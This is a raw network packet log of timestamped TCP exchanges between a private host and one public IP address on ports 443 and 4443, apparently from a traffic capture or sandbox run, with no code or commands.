Dec 6, 2024 22:20:46.178527117 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.178550005 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.178569078 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.184577942 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.184597015 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.184639931 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.184653044 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.184674025 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.184685946 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.186506033 CET	4443	49782	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.186563015 CET	49782	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.203362942 CET	49787	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.241692066 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.241709948 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.241786003 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.241812944 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.241854906 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.264461040 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.264480114 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.264585018 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.264621019 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.264669895 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.279037952 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.279059887 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.279165983 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.279198885 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.279244900 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.284102917 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.284122944 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.284214020 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.284240007 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.284282923 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.325639009 CET	4443	49787	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.325735092 CET	49787	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.327305079 CET	49787	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.359261036 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.359282970 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.359386921 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.359410048 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.359452009 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.364057064 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.364073992 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.364121914 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.364131927 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.364168882 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.372507095 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.372522116 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.372575998 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.372585058 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.372620106 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.375991106 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.376005888 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.376054049 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.376063108 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.376135111 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.434298038 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.434320927 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.434355974 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.434367895 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.434385061 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.434407949 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.447052002 CET	4443	49787	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.456465006 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.456485987 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.456535101 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.456552982 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.456573009 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.456620932 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.470776081 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.470792055 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.470844984 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.470863104 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.470875025 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.470904112 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.476556063 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.476572037 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.476630926 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.476656914 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.476696014 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.550798893 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.550817966 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.550865889 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.550889969 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.550909042 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.550925016 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.555986881 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.556020021 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.556049109 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.556056976 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.556067944 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.556092024 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.561806917 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.561822891 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.561875105 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.561883926 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.561925888 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.567503929 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.567518950 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.567584991 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.567594051 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.567626953 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.630016088 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.630033970 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.630078077 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.630089998 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.630126953 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.630147934 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.648968935 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.648984909 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.649051905 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.649060011 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.649097919 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.664014101 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.664031982 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.664073944 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.664081097 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.664093018 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.664117098 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.669840097 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.669857025 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.669895887 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.669903994 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.669918060 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.669945955 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.742916107 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.742935896 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.743006945 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.743021965 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.743062019 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.748167038 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.748231888 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.748264074 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.748318911 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.753990889 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.754009008 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.754059076 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.754066944 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.754091978 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.754112959 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.759624004 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.759659052 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.759721041 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.759730101 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.759771109 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.819798946 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.819900990 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.820382118 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.820430040 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:46.820436001 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:46.820475101 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:47.579355955 CET	49780	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:47.579380035 CET	443	49780	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:47.773425102 CET	4443	49787	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:47.775219917 CET	49787	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:47.895435095 CET	4443	49787	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:47.895709991 CET	49787	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:47.907304049 CET	49793	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:48.028394938 CET	4443	49793	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:48.030658960 CET	49793	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:48.032160997 CET	49793	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:48.151976109 CET	4443	49793	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:49.501842022 CET	4443	49793	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:49.503323078 CET	49793	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:49.623531103 CET	4443	49793	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:49.623639107 CET	49793	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:49.774241924 CET	49798	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:49.894155025 CET	4443	49798	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:49.894231081 CET	49798	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:49.910649061 CET	49798	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:50.030673027 CET	4443	49798	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:51.372632027 CET	4443	49798	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:51.375674009 CET	49798	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:51.495774031 CET	4443	49798	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:51.498246908 CET	49798	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:51.516766071 CET	49804	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:51.636672020 CET	4443	49804	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:51.638108969 CET	49804	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:51.639734983 CET	49804	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:51.760059118 CET	4443	49804	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:53.088341951 CET	4443	49804	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:53.092422962 CET	49804	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:53.212691069 CET	4443	49804	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:53.216149092 CET	49804	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:53.235147953 CET	49806	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:53.355134964 CET	4443	49806	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:53.356126070 CET	49806	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:53.357587099 CET	49806	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:53.477384090 CET	4443	49806	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:54.792453051 CET	4443	49806	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:54.794163942 CET	49806	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:54.914712906 CET	4443	49806	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:54.914777040 CET	49806	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:54.938388109 CET	49811	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:55.062161922 CET	4443	49811	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:55.062241077 CET	49811	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:55.070889950 CET	49811	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:55.193133116 CET	4443	49811	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:56.693231106 CET	4443	49811	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:56.694761992 CET	49811	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:56.815988064 CET	4443	49811	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:56.816049099 CET	49811	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:56.828898907 CET	49817	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:56.948705912 CET	4443	49817	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:56.948776960 CET	49817	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:56.950488091 CET	49817	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:57.070610046 CET	4443	49817	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:58.448982000 CET	4443	49817	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:58.454595089 CET	49817	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:58.575856924 CET	4443	49817	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:58.575931072 CET	49817	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:58.657524109 CET	49823	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:58.777307034 CET	4443	49823	185.234.216.175	192.168.2.4
Dec 6, 2024 22:20:58.777410030 CET	49823	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:58.778930902 CET	49823	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:20:58.898807049 CET	4443	49823	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:00.252599955 CET	4443	49823	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:00.255707026 CET	49823	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:00.376113892 CET	4443	49823	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:00.376198053 CET	49823	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:00.393682957 CET	49829	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:00.513643026 CET	4443	49829	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:00.513719082 CET	49829	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:00.515227079 CET	49829	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:00.634922981 CET	4443	49829	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:02.166407108 CET	4443	49829	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:02.167987108 CET	49829	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:02.288784027 CET	4443	49829	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:02.288851023 CET	49829	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:02.314857006 CET	49831	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:02.434815884 CET	4443	49831	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:02.434900999 CET	49831	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:02.437602997 CET	49831	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:02.572604895 CET	4443	49831	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:03.884746075 CET	4443	49831	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:03.886313915 CET	49831	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:04.006583929 CET	4443	49831	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:04.006772041 CET	49831	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:04.031152010 CET	49836	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:04.150849104 CET	4443	49836	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:04.150921106 CET	49836	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:04.152476072 CET	49836	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:04.272298098 CET	4443	49836	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:05.618777037 CET	4443	49836	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:05.620435953 CET	49836	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:05.741549969 CET	4443	49836	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:05.741667986 CET	49836	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:05.751945972 CET	49842	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:05.871850014 CET	4443	49842	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:05.871944904 CET	49842	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:05.900727034 CET	49842	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:06.020469904 CET	4443	49842	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:07.634815931 CET	4443	49842	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:07.639791012 CET	49842	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:07.760036945 CET	4443	49842	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:07.760107040 CET	49842	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:08.417458057 CET	49848	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:08.537611961 CET	4443	49848	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:08.537750006 CET	49848	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:08.539426088 CET	49848	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:08.659583092 CET	4443	49848	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:09.995704889 CET	4443	49848	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:09.997195005 CET	49848	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:10.117300034 CET	4443	49848	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:10.117389917 CET	49848	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:10.141590118 CET	49854	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:10.261884928 CET	4443	49854	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:10.262367010 CET	49854	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:10.263849974 CET	49854	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:10.383691072 CET	4443	49854	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:11.742902994 CET	4443	49854	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:11.756736040 CET	49854	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:11.878406048 CET	4443	49854	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:11.878469944 CET	49854	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:11.954480886 CET	49860	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:12.074492931 CET	4443	49860	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:12.074568033 CET	49860	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:12.076178074 CET	49860	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:12.197006941 CET	4443	49860	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:13.572065115 CET	4443	49860	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:13.574203968 CET	49860	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:13.694546938 CET	4443	49860	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:13.694627047 CET	49860	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:13.719820023 CET	49865	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:13.840487003 CET	4443	49865	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:13.840612888 CET	49865	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:13.842061996 CET	49865	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:13.961968899 CET	4443	49865	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:15.288995028 CET	4443	49865	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:15.290591955 CET	49865	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:15.411300898 CET	4443	49865	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:15.411607981 CET	49865	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:15.438673019 CET	49866	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:15.558643103 CET	4443	49866	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:15.558814049 CET	49866	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:15.560359955 CET	49866	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:15.680035114 CET	4443	49866	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:17.269184113 CET	4443	49866	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:17.270812988 CET	49866	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:17.391169071 CET	4443	49866	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:17.391274929 CET	49866	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:17.405113935 CET	49870	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:17.525042057 CET	4443	49870	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:17.525127888 CET	49870	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:17.526896954 CET	49870	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:17.646753073 CET	4443	49870	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:18.991676092 CET	4443	49870	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:18.993776083 CET	49870	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:19.115467072 CET	4443	49870	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:19.115582943 CET	49870	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:19.125973940 CET	49876	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:19.249608994 CET	4443	49876	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:19.249712944 CET	49876	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:19.251430988 CET	49876	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:19.371402025 CET	4443	49876	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:20.714920044 CET	4443	49876	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:20.738753080 CET	49876	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:20.859235048 CET	4443	49876	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:20.859858990 CET	49876	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:20.917635918 CET	49881	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:21.037678003 CET	4443	49881	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:21.037838936 CET	49881	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:21.039338112 CET	49881	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:21.159568071 CET	4443	49881	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:22.532628059 CET	4443	49881	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:22.534370899 CET	49881	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:22.656326056 CET	4443	49881	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:22.656398058 CET	49881	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:22.672977924 CET	49885	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:22.792874098 CET	4443	49885	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:22.793029070 CET	49885	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:22.794574976 CET	49885	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:22.915992022 CET	4443	49885	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:24.372997046 CET	4443	49885	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:24.377918959 CET	49885	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:24.498192072 CET	4443	49885	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:24.500183105 CET	49885	4443	192.168.2.4	185.234.216.175
